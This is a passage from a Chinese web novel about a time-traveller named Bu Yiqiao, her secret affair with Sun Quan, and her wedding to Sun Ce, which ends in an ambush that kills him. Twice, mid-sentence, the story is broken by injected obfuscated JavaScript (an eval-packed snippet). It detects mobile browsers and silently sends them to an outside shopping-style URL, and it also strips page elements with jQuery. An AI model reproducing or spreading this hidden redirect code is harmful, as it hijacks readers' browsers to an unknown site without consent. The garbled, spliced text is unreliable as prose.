“你是真实的,触手可及的,这比幻梦重要百倍千倍。我没有忘记你,记得与你的所有点滴,时间混乱也好,生生死死也罢,都不重要了。” 步一乔彻底懵了。 生生死死,他果然记得死在她怀中事吗?还有那么多光怪陆离的片段,他竟然全都记得,且这般轻描淡写地置之度外? 这哪里还是一个正常人该有的思维? 越往深想,步一乔越觉得心底发麻。 如果那场“梦”是真实发生的,如果孙权同样拥有那些跨越生死的记忆……那么她所以为的“历史”,她苦心孤诣想要修正的“轨迹”,究竟有多少是真实的?又有多少,恰恰是她自己一手促成的? 她想起自己如何接近孙策,如何依据史书记载,试图在他既定的结局前埋下转机。她一直以为自己是唯一的知情者,是独立于这段历史之外的布局人。 可若孙权也记得呢? 他知道未来,是否意味着眼前的一切他早已预见?可他的反应却那样真实而激烈,不像一个知晓结局的人该有的冷静。 “我们之间发生过的一切,你究竟记得多少?具体一点,按照时间顺序,每一件都告诉我。” 怕孙权误会自己全然忘却,步一乔又补充道:“我是想比对,你我所记得的,是否相同。” 沉默片刻,孙权缓缓道来。 “建安七年春,初遇于山野。建安五年四月,于庭院重逢,而后在地牢……你吻了我。同年三月,我于庐江返回吴郡,在院中见你,你唤我二公子,将我忘了。” “我没有忘!”步一乔脱口而出,随即抿唇,“你继续说。” “之后,我挡下子明那一刀,在你怀中……死去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546473|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “你知道那是死亡?!” “记忆很清晰,感受也很真实。” 步一乔震惊。 孙权继续道:“建安四年腊月,从皖城随军返回吴郡,我们在街市争执……而后到今日。” 若孙权所言属实,那他的记忆与她的完全重合,分毫不差。 “还有吗?更往后的事呢?比如,我今天会不会嫁给伯符?” 话一出口,步一乔就意识到自己又说错了话。 孙权倏地蹙紧眉头,眼神骤然转冷:“你就这么想嫁给兄长?” “问问而已!连问都不行吗?”步一乔瘪嘴别过脸去,忽然想到什么又转回头,“你记得建安七年的事……那你知道那个时候,已经发生了什么吗?” 比如,孙策之死。 孙权沉默了,目光在她脸上逡巡。 随着时间推移,步一乔能听见自己越来越响的心跳声。 “我知道。”他终于开口,“建安七年,四月四日,兄长狩猎于丹徒西山,遭遇许贡门客伏击。” 步一乔的呼吸骤然停滞。 史书所载孙策殁于五月五日,换算成农历,正是四月四日。 “他面颊中箭,”孙权继续道,“伤势沉重,医者束手。弥留之际,召张昭、周瑜于榻前……托付后事。” 她浑身发冷,这些细节与史书记载分毫不差。 “然后呢?”她听见自己干涩的声音在问,“之后……发生了什么?” 孙权抬起眼,惯见风雷的眸中沉淀着异常的冷静。 “然后,我接替兄长之位,成为了新的江东之主。” 步一乔震惊到浑身一软,慌忙用双手撑住床榻才稳住身形。 孙权神色凝重,继续道: “大火那日,你曾问我日后如何做皇帝。我当时不是诧异‘皇帝’之词从何而来,而是你,为何会知晓。” 事实太过震撼,步一乔僵在原地,无法言语。 她眼中的惊骇太过明显,明显到孙权微微眯起眼睛,审视着她脸上每一丝变化。 “一乔,你是不是知道什么?你似乎对这些事……并不意外。” “什、什么意思?” “我道出未来之事,你却只追问细节,毫不质疑真伪。”他倾身逼近,“你的反应告诉我,你早就知道这些。且我说的,句句属实?” 步一乔怔住,思绪飞转,“爱钻牛角尖”的毛病竟在此刻成了破局的关键,迅速抓住他话中的关键。 “等等,你刚才说的那些,不是你自己知道的?是有人告诉你的?” 突如其来的反问让孙权有一瞬乱了阵脚。他沉默了片刻,终于在她灼灼的注视下缓缓开口: “是……一位道士。” 又是道士,不用怀疑,绝对是同一个人。步一乔更加坚定了要会会此人的决心。 “你见过这位道士了?” 孙权微微颔首:“此前在皖城,他主动寻我,说有天机相告。” “然后他就直接告诉你……伯符会遇刺,你会继位,甚至……称帝?” “不止如此。他知晓我一直在寻觅你的踪迹,还告知我,你不日便将现身。” 步一乔感到一阵寒意爬上脊背。这位神秘道士,不仅知道历史,更知道她的秘密?! 她突然扯着嘴角冷笑,抓住孙权的手臂,露出坏笑。 “待我今日与伯符成了亲,必去会会他!” “你——”孙权醋意怒意一同席卷来,一把将她拽到身前,“你当真要嫁给兄长?!” 33. 合欢 正月十五,孙策大婚。 孙权愠怒地盯着步一乔,而她只是耸耸肩,一副无可奈何的模样。夜寒侵身,她转身掀开被褥,径自躺了进去。 两个人□□的人竟然忘了冷,暴露在寒风中吵来吵去闹了半天。 孙权以为她要逃,立刻跟着钻进被中,结实的手臂将她困在床角。 “事到如今,你要怎么取消?这对伯符……已经很过分了。” 步一乔瞥见他转动的眸子,猜到他又要说“私奔”二字,抢先一步打断:“你不可以离开孙家。连你也走了,这个家可就完了。” “……就因为那个预言?你就那么信那道士的话?”孙权蹙眉作不解状。 她并不直接回答,只轻声道:“我拜托周瑜去寻人了。等见到那道士,再谈之后的事。” 孙权气得脸颊微鼓,接着怨气按着她的后背,把与步一乔最后一点距离也填满,道:“行,到时候我陪你一起去。若他真是图谋不轨之人,我也好护你。” “还嫌伯符不够生气?你真想气死你哥不成。”步一乔不禁轻轻一颤,不自觉地往他怀里蹭了蹭,扶在他侧颈的手摩挲,“就在吴郡,哪儿也不去,不必担心。” “况且你自己说的,”步一乔调皮的手指戳了戳孙权的胸口,“继续这个‘错误’。偷偷摸摸也好,惊世骇俗也罢,只要我点头,剩下的事,你来扛。要食言?” 孙权抓住她胡乱来的手指,惩罚似的轻咬一口,“我……不确定自己能否克制。” 步一乔闻言,仰起脸望进他翻涌着不安的眸子里。的确,从他今晚的表现来看,不敢保证明日婚宴上,他不会再度失控。 心底其实是愉悦的,甚至脱口而出:“不曾想你竟爱我病入膏肓呢。” “知道你还故意招惹,惹我生气。” 说来还挺有趣,步一乔细细想了想自己与他迄今为止走过的路,除非一见钟情,否则真看不出哪里能生出情愫。只有一个流氓对另一个流氓来回撩拨罢了。 莫非还有什么被自己误以为是梦,结果忘却的经历?不能吧。 轻笑一声,她放松下来,整个身子的重量都交付给他,随后,抬起被他握住的手,指尖轻轻抚过他紧抿的唇线。 “你当然能控制住。你可是孙仲谋啊。” 她微微一笑,此刻两人就像交心的爱人,在夜色中交换着只有彼此才懂的秘密,亲密甜腻,缱绻深情。 “因为这是我们两个人的‘秘密’。在人前,你是那个沉稳持重的孙家二公子;唯有在我面前,你才是会展露情绪、会任性、会不安的孙权。” 她的掌心覆在他的脸庞,感受着逐渐升腾的热度。 “从来如此,今日也定能如此。” 孙权灼热的视线锁定在她眼中,那里似乎有勾人的妖,勾走他的神魂,等回神时,嘴唇已经含住她的,开始不顾一切撬开吮吸。 步一乔不得不仰起头,喉间难耐着溢出短促的呜咽。 被褥再次形同虚设,可怜地丢弃在一旁。 陷在欲望里的人双眼迷蒙,浑身都是软的,全靠着孙权抓起她的手臂挂上他的脖颈。这一晚上来来回回的,人早没了气力。 恍惚间,步一乔心想,要再试试那个词,叫他停战吗? 孙权见她走神,下意识认为她肯定又想到兄长去了,翻身将人压在床踏上,捏住她的脸颊吻她的唇。步一乔被迫张着嘴,随他吮吸轻咬自己的舌。 快喘不过气来,步一乔手掌用力推开他的脸,含糊不清地喘着道:“仲谋……仲谋……要死了……” 孙权闷声笑了几声,揉了揉她发麻的唇瓣,在她耳边道:“我陪你一起。” 唇舌再次纠缠,步一乔整个身子都在发抖,是冷也是热。眼角红着,胸膛起伏着,无力垂落在两侧的手抓紧了身下的被褥。 “仲谋……仲谋……” 此刻,这两个字不再是制止他的话术,而是深情到极点,不自觉唤出的名字。 孙权随口应了声,在最后一刻耗尽最后一点力气抱紧她。 …… * 步一乔侧躺在身旁,半闭着眼,倦意如潮水般涌来,她却不肯让眼皮合拢,仿佛只要不入睡,黎明便不会降临。 孙权一只手无意识地轻捏着她柔软的耳廓,另一只手在被褥的遮蔽下,与她的手紧紧相扣,指缝严密地贴合,不留一丝空隙。 “我还是不想你与兄长成亲。” 步一乔似笑非笑道:“你与谢姑娘的婚事也不远了。” 正月十五,孙策大婚。 正月廿八,孙权大婚。 孙权目光沉沉地落在她脸上,没有接话,只是扣着她的手更紧了些。 “等见了那位道士,确认历史节点安然渡过,因果更变之后……我也该离开了。”她语气里有几分怅然若失,小声的呢喃,在万籁俱寂的夜里,清晰地传入紧贴着她的那人耳中。 “你又要离开?” “我也有自己生活啊。我的父母,我的家人,可还在等我回家吃饭呢。”她试图让语气轻松些,却掩不住其中的涩意。 为心上人留在千年以前,抛弃前半生的种种?她步一乔还没那么伟大。 出乎意料地,孙权没有如她预想那般激动地质问,甚至没有出声。他只是陷入了更深的沉默,比暴怒更让她心慌。 “孙权?”她试探地唤了一声,仰头想看清他脸上的表情。 他却闭上了眼,将她的头轻轻按回自己怀中,“困了,睡吧。” “……嗯。” 他怎么突然如此反常?这不符合他一贯霸道的性子。这种异常的平静,反倒像暴风雨前压抑的死寂,让她莫名地感到恐惧。 * 天光未大明,步一乔便自然醒了。她小心地从孙权臂弯里抽身,越过他下榻,拾起散落在地上的衣裳一件件穿好。 临去前回头望了一眼床榻中熟睡的身影,这才悄声推门,趁着侍从尚未起身的寂静,穿过晨雾微蒙的回廊,返回自己的卧房。 今日是婚期。 虽因日子仓促一切从简,汉时婚仪也尚未有后世那般繁琐,但府中上下仍透着一股不同往日的氛围。 婚服是前些日子她与谢姑娘一同去裁缝铺定制的,昨日才匆匆完工。想来是吴夫人盼子成婚心切,催着匠人连夜赶制出来的。 穿过回廊时,整个府邸已妆点一新。廊檐下悬着红绸,梁柱间贴着喜字,让步一乔一时恍了神。 想不到自己刚二十一出头便要成亲,总感觉像梦一场。更离奇的,是嫁给自己已经说不上喜欢的男人。 那场春梦让她爱上的少年,是被她误认为孙策的孙权。内心的感情从来不是本能与理智的博弈,她从第一眼喜欢上的人,到后来心甘情愿沉沦的人,从来都是一个人。 “真的要嫁给伯符吗……我真的能心甘情愿嫁给他吗……” 似乎无论做什么决定,终究对不起伯符。 时辰到,沐浴兰汤后,侍女捧着婚服与首饰进屋伺候。正红色的曲裾深衣以金线绣纹装点,华美庄重。侍女们为她梳妆绾发,言语间满是喜庆的恭贺。 步一乔任由她们摆布,镜中的人面若桃花,珠围翠绕,却觉得那影像陌生得很,仿佛在观看一场与己无关的盛大戏剧。 “一乔。” 温柔的嗓音唤醒步一乔,她抬眸,不知何时侍女散去,为她簪上最后一支步摇的,换成了眉眼温柔的小乔。 “又苦着个脸。”小乔浅笑道,指尖轻轻理顺她鬓边的发丝,“事已至此,已无回头路。” “我知道……”步一乔垂下眼帘,“正是想明白了,才一步步走到今天的。” “那个问题,有答案了吗?” “什么问题?” “你心悦的,到底是谁?” 步一乔凝视着镜中映出的小乔与自己,沉默了片刻,肯定道:“有。我知道自己心悦的是谁。从初遇到现在,一直是他。” “而你今日要嫁的,却不是他。” “是……不是我心悦之人。”是被自己欺骗之人。 “一乔,我问你,”小乔的目光温柔而通透,仿佛能看进她心底,“若非当初认错人,你也早知那并非一场梦,你还会选择穿越至此,改写孙策将军的命运吗?” 步一乔怔住了,她从未从这个角度想过。沉吟良久,她才轻声回答:“大抵……不会。” “那便不会与孙仲谋相遇、相知。你二人之间的一切,终归也只是一场来不及开始便已醒的梦。如此……你又甘心吗?” 步一乔的嘴唇微微颤动,最终化作一丝苦涩的弧度:“我不知道。或许,根本不会想到这一层。我会在一千多年后,继续我的生活。读研、工作,与某人相亲、结婚。而他……也将如史书所载,嫔妃众多,那位步练师,会成为他生命中名正言顺的挚爱,留一段佳话。” 话音落下,房中陷入一片寂静。外面隐约传来的喜乐声,此刻听来格外刺耳。 “突然,很对不起伯符。”步一乔低声道。 “怎会是突然?”小乔的话不是疑问句。 步一乔埋下头,声音闷闷的,充满了自我厌弃:“是啊,哪儿是突然。我可是从一开始,就在有意无意地玩弄他的情感。孙权说得对,我或许骨子里就是个草莽轻浮的风流之人,心思摇摆不定,连自己的内心都看不透彻。” “不是看不透彻,是不愿承认吧。”小乔在她身边轻轻坐下,温暖的掌心覆上她冰凉的手背,“大概是不愿承认自己暗暗思念了一年的人,竟被自己认错,自尊心不许自己承认吧。” “嗯……”步一乔发出一声近乎呜咽的承认。 的确如此,她向来心高气傲,这等令人难堪的失误,她怎会允许自己主动揭穿。那不仅否定了自己的情感,更仿佛否定了自己的眼光与智识。她宁愿给自己贴上“风流轻浮”的标签,用自我贬低来逃避面对那个更让她难堪的真相。 小乔轻轻拍着她的背,如同安抚一个迷途的孩子:“一定要为了改写历史,抛下自己真正心悦的人吗?” “嗯……”步一乔深吸一口气,面上恢复一贯的冷静笃定,“一定要留在伯符身边,见证他登上吴王,改写历史。” * 步一乔过分执着,从小时候到长大,执着得令人厌恶,连自己也厌恶。非得弄得浑身是伤,也不肯善罢甘休。 所以她少有目标,鲜少对什么充满探究欲,因为她知道自己的坏毛病,一旦陷进去,很难|拔|出来。 如果不是对教授说的穿越来了兴趣,如果不是气孙权日后对孙策不公,如果不是生出了改写历史的念头……哪会走到今天的局面。 旭日东升,锣鼓喧天。 府邸张灯结彩,宾客如云,一派煊赫盛世之象。 吉时已到。 青庐之内,沉香袅袅。孙策执红绳立于西阶,目光灼灼望着款款走来之人。 礼乐高奏,宾客的喧哗声中,步一乔由侍女搀扶着,一步步走向那身着赤色婚服,英姿勃发,正含笑望着她的孙策。 似有瞬间的恍惚,那张脸,与另一张几分相似的脸重合。 步一乔每一步都感觉有目光如芒在背。 她知道,在观礼人群的某个角落,一定有一双碧色眼眸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16551517|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,正死死地盯着她。 她不敢回头,也不能回头。 二人对席,北向而拜。 赞者朗声诵唱:“桃之夭夭,灼灼其华——拜——” 声调悠长,在肃穆的厅堂中回荡。 她依礼下拜,眼前晃过的,却是昨夜那双与她十指紧扣的手。 汉朝“六礼”,合二姓之好,上以事宗庙,而下以继后世也。步一乔以“桥”姓嫁入孙氏,结两氏族之好。 孙策伸出手,稳稳地扶起她。他掌心温暖干燥,笑容坦荡而真挚,带着即将得偿所愿的喜悦。这份毫无阴霾的真诚,深深扎进她心口。 合卺礼所用的匏瓜奉上,步一乔垂眸接过。酒液入喉,苦涩霎时漫过舌根,她眉心几不可察地一蹙。 好苦…… 步一乔盯着变空的葫芦,没有光泽,失了神。 “一乔?”孙策轻声唤道。 她抬眸,见他递来一新酒。 “交杯酒吗……” “嗯。” 孙策托住她发抖的手,将清酒倾洒。 “日后我夫妻二人同甘共苦,不离不弃,共赴白头。” “白头……”步一乔不禁喃喃,垂眸看着手中的苦酒。 无意识的,视线看向注目人群。四目在空中有一刹那的交接。 孙权的眼神一瞬不瞬落在她身上,落寞与不甘只差拿笔墨落在脸上。 步一乔心头猛地一悸,几乎要维持不住脸上的表情。她迅速垂下眼,对着孙策,仰头一口饮尽。 苦涩蔓延,步一乔抿紧嘴唇,差点维持不住面相。 孙策倾身向前,指尖拂动她额前的珠珞。动作庄重而轻柔,解下她髻上象征缔盟已成的锦缨,交由赞者。 “接着,该是结发同心吧?” “嗯。” 两人说着只有彼此能听见的话。 侍女呈上剪子、香囊与红绳。当青丝剪落,看着两人的墨发在指尖缠绕交融,再也分不清彼此时,步一乔忽然明白了什么。 可明白了又如何? 心底有个声音在反复叩问:历史必须被改写,无论付出什么代价。 事已至此,再无回头路。 礼成。 欢呼声,道贺声,如同潮水般涌来。 孙策笑着,紧紧握住她的手,一时忘情竟忘了礼数,直接将人拦腰抱起,在原地转了两圈才停下。 “一乔……夫人。”是喜悦的哭腔,孙策湿热的气息洒在耳畔,濡湿了步一乔的眼眶。 “伯符……”她咬紧颤抖作痛的唇,眼泪断了线,“伯符……” 孙策微微一怔,随即了然地轻笑,温柔地抚过她的后背。 “傻姑娘,你从未对不住我。”他声音很轻,温柔深情,“从来都是我,心甘情愿。是我……在报答你啊。” “……什么?” 步一乔诧异地抬起头,突然,一股刺鼻的烟味混着热浪从门缝里涌入。 火光骤起,映得满堂红烛失色。 “走水了!” 喜堂瞬间炸开。杯盏碎裂,桌椅翻倒,人群互相推挤冲撞。 孙策的反应比所有人都快。他一把将步一乔拽到身后,她的手本也能地抓住他的腰带稳住自己。 面孔些许熟悉的壮汉举起大刀劈砍而来,孙策不多想,赤手格住迎面而来的刀锋,霎时刀刃陷进皮肉,血珠溅上喜服。 “伯符!” “走!”孙策咬紧牙关,徒手架住贼人的攻势。 “啊!” 一声惊叫传来,孙策猛地回头,只见步一乔被一个黑影勒住腰腹,双脚离地向后拖去。 “一乔!!”他喉间发出一声低吼,竟不顾刀刃还嵌在臂肉中,强行转身想去追,伤口因此撕得更深。 纠缠的壮汉再次袭来,孙策不耐烦地骂了一声,反身横踢一脚,又踹在壮汉小腹上,将人踹飞出去。 贼人扛着步一乔跳出窗户,打算从侧面离开。她奋力挣扎,乱蹬的教狠狠踢在他要害处。贼人痛嚎松劲,她重重摔在地上,顾不得疼痛手脚并用爬起,逆着四散的人流向礼堂中央冲去。 “你他娘的找死!” 孙策仍被持刀贼人缠住,空手对白刃,臂上又添新伤。步一乔目光急扫,锁定角落那根挑喜幛的硬木长棍。 她向前扑去,却没曾想身后的贼人来的之快,只差一步就能拿到角落里的木棍,后脑勺一阵钝痛。 耳边嗡鸣骤起,视野迅速暗下,她无声地瘫倒在地。 * 世界寂静,久久没有任何回音,步一乔缓缓半睁开眼睛,却发现孙权坐在身边守着自己,眉头紧皱。 环顾四周,空无一人。唯有残破的神像与满目荒凉,门外林深荒凉至极。自己身上依旧穿着喜服,头上的金簪发钗犹在。 “伯符呢?我们为何在此?” 孙权垂下眼帘,胸腔剧烈地起伏了一下,强撑的镇定已到了崩溃边缘。 “许贡门客与各氏族余孽闯入,兄长命我,护你先走……他断后。” 步一乔忽地起身,慌乱至极:“他一个人哪里挡得住!我们快回去帮他!” “已经晚了……” “说什么屁话!快起来!”她一把揪住他的衣襟,“我们得回去救他!” 孙权终于阖上眼,泪水无声地汹涌而下,浑身抑制不住地颤栗。 “刚得到消息……兄长他……已经……” 一道惊雷在步一乔脑中炸开。她松开手,踉跄着跌坐在地,眼神空洞,喃喃如自语。 “伯符他……又……死了?” 34. 遥遥 婚宴瞬间沦为战场。 凶徒破门而入,最先反应过来周瑜猛地掀翻食案。陶器碎裂,汤汁四溅,他顺手抓起分肉的铜叉,反手刺入敌人咽喉。身边亲卫已接连倒下,他怒而不乱。 “保护伯符!” 呼喊四起。没有武器者,一切皆可为刃。 孙策临危不惧沉着冷静,此等小场面,不足为惧。但顾及身前,却难防身后。 步一乔的惨叫声刺破喧嚣,孙策猛然回头,见她被人扛上肩头。涌上的敌人如潮水合拢,迅速吞没了那道身影。 “一乔!!”孙策双目赤红,如被触及逆鳞,彻底杀疯了心。 敌人如黑云压城,仿佛永远杀不尽。一刻救不回她,便多一刻噬心的煎熬。他恨自己为何如此无力。 “伯符!” 焦急的声音再次回到堂中,孙策比起眼前险境,更先落下的是心头的巨石。他一刀劈开挡在他二人之间的障碍,艰难地前行。 可那道身影始终遥不可及。 步一乔被人从背后击晕倒地,孙策眼睁睁看着,大起大落的心绪如烈火烹油,恨不得立时生出三头六臂,将这满院贼寇杀得片甲不留。 另一边,孙权夺过敌刀,银光闪处血花飞溅。他无视周身呼啸的刀光,不顾厮杀与哀嚎,向着战火最炽处狂奔。 那里有他最重要的两个人。 “兄长!我来助你!” 孙策反手接过他抛来的长刀,剑锋出鞘锐响铮鸣。兄弟并肩而立,将步一乔护在身后,与层层围上的黑衣死士血战不休。 张昭等人早已指挥家丁疏散宾客,护送女眷退向后门。这群贼人,显然算准了婚宴防卫最松懈的时刻发难。吕蒙与众人随手抓起器物为兵,纷纷加入战局。 “领头的给我活捉!老子要亲自审!”孙策一刀劈开身前敌寇,血珠溅上他坚毅的侧脸。 然而敌众我寡,贼人如蚁附骨。 “他们是目的是我和一乔!仲谋,带她走!”孙策格开迎面劈来的横刀,丝毫不慌乱。 迎面嘶吼着冲来一人,他毫不犹豫蹲下身抽走脚边尸体腰间的匕首,敏捷而具有爆发力地挥出去,正正命中来者额间。 “我不能丢下兄长!” “公瑾的援兵转眼就到。我还能撑住,但一乔绝不能落入他们手中。快走!” 孙权咬牙背起昏迷的步一乔,在亲卫拼死掩护下杀出重围。身后传来孙策一声吃痛的闷哼与皮肉绽裂的悚然声响,他却不敢回头。 怕这一回头,就再也迈不动离开的脚步。 因果结局,终究无法改变。 满院尸横血浸,孙策独自屹立血泊之中,长刀拄地,虎口已然崩裂。他望着弟弟与她远去的方向,染血的脸上露出一丝释然的笑意。 眼前仿佛又见她从火海中来扛起他的身影;神龛前没有杀意的眸光下,她掐着自己的脖颈;皖城深夜庭院中她回眸时的怅然,支支吾吾半晌,要自己牵她的手……一幕幕画面至今灼痛他的心。 到底是前世还是今生,与她有关,总是虚实难辨,雾里看花。 “一乔……这份舍身救命的恩情,算是报了吧……” * 破败的庙宇内,孙权再也讲不下去。他哭得难以自持,而步一乔的状态更让他心惊。 “一乔?一乔?” 掌心抚上她冰冷的面颊,无论怎样呼唤,都唤不回那双空洞眼眸里半分神采。 他紧紧抱住她僵硬的身子,心惊到些许慌乱:“别吓我……我已经失去了兄长,不能再失去你了……” 步一乔的视线摇晃着,耳朵嗡鸣,默然起身,踉跄着向外走。林间隐约传来狼嚎,枯藤树上有鸟兽蹿过。 历史的车轮真的无法扭转。她所有的挣扎、所有的牺牲、所有悖德的痛苦,最终都指向了这个早已写定的结局。不过死法千变万化,打她措手不及。 她没能救他。 又一次。 孙权快步拦在她面前,她却恍若未闻,拨开他从他身边越过。 “一乔?!你去哪儿!” “我要回去找伯符,”她平静道,“现在还来得及,我能救他。” 孙权咬牙抓住她的手,才惊觉她一直紧握的拳中尽是冷汗,冰凉刺骨。 此时的步一乔宛若游魂,一步一跌撞,不知身在何处,却执拗地向前。她要回去,回孙府,回地牢,回到一切尚未发生之时,再来一次。 若失败,便再来。几次不够就上百次、千次,总有一次会成功。 孙权以为她伤心过度,一蹶不振,再也抑制不住,从背后死死抱住她。他哭得撕心裂肺,每一声抽噎都让手臂收得更紧。 “不能回去,一乔……兄长用性命换我们活着,那些贼人正在满城搜捕你!现在回去,就是自投罗网!” 步一乔仍麻木地向前挪动,拖得孙权踉跄跪地,仍不肯松手。 “步一乔!你听见没有!兄长换你活着,不是让你这样回去送死!” 夜风骤急,她终于停下脚步,却仍背对着他。单薄的身影在夜色中摇摇欲坠。 孙权紧紧抱住她。他知道,此刻决不能放手。 “一乔……不能去啊……” “孙权,”她终于出声,只是声音沙哑得不像她,“我可以救伯符。你带我回去,我可以救他。” “一乔……”孙权的心痛得快要撕裂,悲痛兄长也悲痛步一乔现在失魂的样子,“如今不是孙府回不去,是连吴郡也回不去了啊。” 吴郡上下皆是逆贼,回头便是死路。 步一乔眸色一沉,低声道:“那就去皖城。或者……坟场。”她眼中骤然亮起异样的光,“对,坟墓、乱葬岗、水井……哪里都行!” 孙权被她的话惊得心头一颤,一把将她按进怀里,任她如何挣扎也不放手。 “不行!你哪里都不能去!” “放开我!我要去救伯符!” “冷静下来,一乔……我会替兄长报仇的。你别吓我……” “我从未如此清醒过!”步一乔反手抓住他的手臂,“你忘了自己是怎么复生的吗?那个道士说的都是真的,他没有骗你,我也没有骗你!我真的能救他!地牢、乱葬岗,哪里都可以!你带我去啊!” 其实她不敢保证地牢以外的地方百分百能穿越成功,可以的话,还是想冒死回吴郡孙府。 “吴郡吧,吴郡保险一些。”她迫切地恳求着他,“你可以保护我的!回吴郡以后,我躺进棺椁回到过去,你就先在地牢躲追兵。而后我们——” 孙权蹙眉望着步一乔,像在听一个癫狂之人的呓语。 “孙权!你听我说啊!没时间了!” 他却已听不进这些疯话,只思忖着是否该将她打晕,尽快离开险境。二人仍在吴郡城外数里,追兵随时可能逼近。 “追兵将至,我们必须走了。” 孙权强迫自己冷静下来,不再容她挣扎,一把将步一乔扛上肩头,转身便向密林深处,往江边决然奔去。 “你走反了!孙权!孙仲谋你聋了吗!” “闭嘴!要我眼睁睁送你回去送死,我如何对得起兄长 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孙权在她身旁坐下,脱下外袍,披在她肩上,却被她轻轻躲开。 “你披着吧,我不冷。” 孙权不理会,将袍子固执地裹住她。 “你身子刚好,不可大意。” 步一乔没再挣脱。干柴作响,映着她苍白的面容。 长久的沉默在两人之间蔓延。孙权搜肠刮肚,想说些安慰的话,却发现所有言语在兄长的死讯面前都如此苍白。 “伯符会恨我吗?”她忽然轻声问,眼中又蓄满泪,“我明明可以救他,却没法救他……他用自己的命,换了我的……他会不会怪我……这么没用,连回去找他都做不到……” “他不会。”孙权扶住她的肩,让她靠在自己身上,温柔地安哄,“兄长他……绝不会恨你。他可是宁愿牺牲自己,也要护你周全啊。” 这句话彻底击溃了步一乔苦苦支撑的心防。她将脸埋进孙权的胸膛,藏起呜咽。 孙权感受着怀中人撕心裂肺的痛哭,手臂收紧。他也哭了,尽管与道士预言的未来不尽相同,但他的兄长……真的离开了。 “我一生都敬重兄长,追随他的足迹走。小时候,他习武,我就在一旁看着。我读书、习字,学着处理政务,因为我知道,冲锋陷阵有兄长就够了,我为他稳住后方,无后顾之忧。此生甘愿做兄长的影子,随他称霸天下。” 孙权仰起头,望着苍天的树冠。 “兄长总笑我过于持重,不像孙家儿女那般洒脱。是我不敢行差踏错,我怕……辜负了兄长和父亲的期望。” 步一乔靠在他怀中静静聆听,寒风不寒。 “可我终究……还是辜负了他。” 我知道我不该,从久别重逢后,知道她心悦的是你那一刻起,我就彻底疯了。若我没有带她走,若我留下来与你并肩死战……结局是否会不同。 孙权垂眸看着怀中无力半眯着眼的步一乔,百感交集。 “一乔?” “我认真在听。” “……睡吧,夜深困乏了。” “嗯。” * 待步一乔睡去,孙权才稍稍松了口气,开始思量前路。 公瑾来信叮嘱一乔暂不可回吴郡,那些人正在四处搜寻她的踪迹。随信附来的,还有另一个消息—— 那位道士的茅屋所在。 “此人现在南阳邓县……隆中?” 35. 若梦 步一乔正对着水面的波纹走神,孙权走近的动静将她吓得抽了口气,随即露出一个几分无奈的小表情。 “冷吗?” 她紧了紧身上他的外袍,“不冷。” 内里还穿着婚服,为避免引来船夫和路人异样的目光,她只得将自己严实裹藏在这件宽大的外袍里。 尚未开春,江面寒风吹得人瑟瑟发抖。孙权就像感知不到寒意似的,坐在步一乔身旁替她挡去侧面袭来的风。 “会生病的。”步一乔轻声说着,伸手挽住他的臂弯,将两人之间的距离拉近,“等下了船,我先去找身便服换上,再寻些暖身的吃食。你……整夜未合眼吧?靠着我歇会儿。” 孙权浅浅一笑,指尖轻抚过她鬓边被风吹乱的发丝,“我不困。行军打仗之人,这点劳累算不得什么。” 熟悉的动作却换了人,步一乔又瞬间恍惚,但立刻被现实敲醒。 “兵人也是人啊,哪儿有人通宵还不困的。”她不由分说地将他的头轻轻按在自己发顶,“睡吧,我陪着你。” “……好。” 从吴郡到南阳,需经庐江、过江夏,再北上抵达。若水陆兼程、马不停蹄,少说也要一月有余。 孙权唯恐经过皖城时,步一乔又要去寻找她口中那些坟场水井,只得刻意绕行,避开皖城城内。 路途,便又长了几分。一月之后,两人才抵达江夏。 孙策之死始终沉甸甸地压在二人心头。偶尔倦极时倒头便睡,大多时候却是辗转难眠。夜色越深,回忆便越是清晰。 江夏郡,客栈。 自吴郡至庐江,两人走水路。夜深投宿,寒意刺骨。步一乔原想泡个热水澡,奈何月事在身,只得简单盥洗,便蜷进了被褥。 孙权熄了烛火,在她背后躺下,手臂自然地环过她的腰肢,温热的掌心轻轻覆在她小腹上,缓缓揉按。 “你……做什么?”步一乔心下愕然。 东汉受儒家礼教影响,女性身体隐私被视为禁忌话题,月事被看作“不洁”之事。孙权毕竟是士族子弟,这等事不该避讳远之吗? “白日里见你总捂着肚子,想是身子不适,揉揉会好些。”孙权手下力道未停,暖意徐徐透入肌理。 步一乔一时无言。这人的观察力,未免太过敏锐。 “你知道这是什么?” “大概……知道一些。明日要不要去镇上找个大夫看看,开副方子?” “不必。”她轻声回绝,悄然转过身,偎进他怀里,“许就是天寒,暖一暖便好了。” 夜色渐深,窗外风声呜咽。 孙权感受着怀中人转身偎近,随即收拢手臂。她发间淡淡的香萦绕在他鼻尖,与掌心下那片微凉的小腹形成奇异的对比。 “既知天寒,明日上街添置几件厚裳。我们在江夏停留几日,待你身子好些再上路。” “真没事,不妨碍赶路。” “不行。自吴郡启程,舟车劳顿未曾停歇,也该休整休整。我也正好去镇上探听些消息。” “吴郡的消息吗?” “嗯。”他应了一声,半晌才道,“不知母亲、弟妹,还有公瑾兄他们如今怎样了。” 声音闷闷的,多少听得出情绪。 孙策之死是孙权一生转变的重要节点,此番虽没守在兄长榻前,哪怕他藏得再好,不想步一乔担心……他似乎忘步一乔可是个聪明的姑娘。 